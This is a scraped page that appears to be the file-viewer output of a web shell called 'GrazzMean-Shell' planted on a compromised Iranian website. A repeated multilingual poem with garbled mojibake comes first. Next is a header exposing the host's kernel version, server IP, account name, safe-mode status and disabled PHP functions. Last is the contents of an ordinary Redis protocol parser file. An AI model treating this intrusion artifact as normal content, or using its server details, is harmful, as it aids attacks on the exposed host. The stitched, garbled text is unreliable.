曾与蒿藜同雨露,한때 잡초와 쑥과 함께 비와 이슬을 나누던 곳이 이제는 소나무와 삼나무와 함께 서리와 눈을 견뎌내고 있다.终随松柏到冰霜.かつては雑草やヨモギと共に雨や露を分かち合っていたが、今では松やヒノキと共に霜や雪に耐えている。曾与蒿藜同雨露,Once sharing rain and dew with weeds and wormwood, now enduring frost and snow with pines and cypresses.终随松柏到冰霜.曾与蒿藜同雨露한때 잡초와 쑥과 함께 비와 이슬을 나누던 곳이 이제는 소나무와 삼나무와 함께 서리와 눈을 견뎌내고 있다.,终随松柏到冰霜.譖セ荳手珍阯懷酔髮ィ髴イ�檎サ磯囂譚セ譟丞芦蜀ー髴�曾与蒿藜同雨露,鏇句笌钂胯棞鍚岄洦闇诧紝缁堥殢鏉炬煆鍒板啺闇�终随松柏到冰霜.曾与蒿藜同雨露,한때 잡초와 쑥과 함께 비와 이슬을 나누던 곳이 이제는 소나무와 삼나무와 함께 서리와 눈을 견뎌내고 있다.终随松柏到冰霜.曾与蒿藜同雨露,终随松柏到冰霜. rahbord-ins.ir - GrazzMean-Shell
Uname: Linux server18.dn-server.com 3.10.0-962.3.2.lve1.5.88.el7.x86_64 #1 SMP Fri Sep 26 14:06:42 UTC 2025 x86_64
Software: LiteSpeed
PHP version: 7.4.33 [ PHP INFO ] PHP os: Linux
Server Ip: 185.126.202.122
Your Ip: 216.73.216.193
User: rahbordf (4876) | Group: rahbordf (4881)
Safe Mode: OFF
Disable Function:
show_source, system, shell_exec, passthru, exec, popen, proc_open

name : parser.py
from .errors import ProtocolError, ReplyError

__all__ = [
    'Reader', 'PyReader',
]


class PyReader:
    """Pure-Python Redis protocol parser that follows hiredis.Reader
    interface (except setmaxbuf/getmaxbuf).
    """
    def __init__(self, protocolError=ProtocolError, replyError=ReplyError,
                 encoding=None):
        if not callable(protocolError):
            raise TypeError("Expected a callable")
        if not callable(replyError):
            raise TypeError("Expected a callable")
        self._parser = Parser(protocolError, replyError, encoding)

    def feed(self, data, o=0, l=-1):
        """Feed data to parser."""
        if l == -1:
            l = len(data) - o
        if o < 0 or l < 0:
            raise ValueError("negative input")
        if o + l > len(data):
            raise ValueError("input is larger than buffer size")
        self._parser.buf.extend(data[o:o+l])

    def gets(self):
        """Get parsed value or False otherwise.

        Error replies are return as replyError exceptions (not raised).
        Protocol errors are raised.
        """
        return self._parser.parse_one()

    def setmaxbuf(self, size):
        """No-op."""
        pass

    def getmaxbuf(self):
        """No-op."""
        return 0


class Parser:
    def __init__(self, protocolError, replyError, encoding):
        self.buf = bytearray()
        self.pos = 0
        self.protocolError = protocolError
        self.replyError = replyError
        self.encoding = encoding
        self._err = None
        self._gen = None

    def waitsome(self, size):
        # keep yielding false until at least `size` bytes added to buf.
        while len(self.buf) < self.pos+size:
            yield False

    def waitany(self):
        yield from self.waitsome(len(self.buf) + 1)

    def readone(self):
        if not self.buf[self.pos:1]:
            yield from self.waitany()
        val = self.buf[self.pos:1]
        self.pos += 1
        return val

    def readline(self, size=None):
        if size is not None:
            if len(self.buf) < size + 2 + self.pos:
                yield from self.waitsome(size + 2)
            offset = self.pos + size
            if self.buf[offset:offset+2] != b'\r\n':
                raise self.error("Expected b'\r\n'")
        else:
            offset = self.buf.find(b'\r\n', self.pos)
            while offset < 0:
                yield from self.waitany()
                offset = self.buf.find(b'\r\n', self.pos)
        val = self.buf[self.pos:offset]
        self.pos = 0
        del self.buf[:offset + 2]
        return val

    def readint(self):
        try:
            return int((yield from self.readline()))
        except ValueError as exc:
            raise self.error(exc)

    def error(self, msg):
        self._err = self.protocolError(msg)
        return self._err

    def parse(self, is_bulk=False):
        if self._err is not None:
            raise self._err
        ctl = yield from self.readone()
        if ctl == b'+':
            val = yield from self.readline()
            if self.encoding is not None:
                try:
                    return val.decode(self.encoding)
                except UnicodeDecodeError:
                    pass
            return bytes(val)
        elif ctl == b'-':
            val = yield from self.readline()
            return self.replyError(val.decode('utf-8'))
        elif ctl == b':':
            return (yield from self.readint())
        elif ctl == b'$':
            val = yield from self.readint()
            if val == -1:
                return None
            val = yield from self.readline(val)
            if self.encoding:
                try:
                    return val.decode(self.encoding)
                except UnicodeDecodeError:
                    pass
            return bytes(val)
        elif ctl == b'*':
            val = yield from self.readint()
            if val == -1:
                return None
            bulk_array = []
            error = None
            for _ in range(val):
                try:
                    bulk_array.append((yield from self.parse(is_bulk=True)))
                except LookupError as err:
                    if error is None:
                        error = err
            if error is not None:
                raise error
            return bulk_array
        else:
            raise self.error("Invalid first byte: {!r}".format(ctl))

    def parse_one(self):
        if self._gen is None:
            self._gen = self.parse()
        try:
            self._gen.send(None)
        except StopIteration as exc:
            self._gen = None
            return exc.value
        except Exception:
            self._gen = None
            raise
        else:
            return False


try:
    import hiredis
    Reader = hiredis.Reader
except ImportError:
    Reader = PyReader
© 2026 GrazzMean-Shell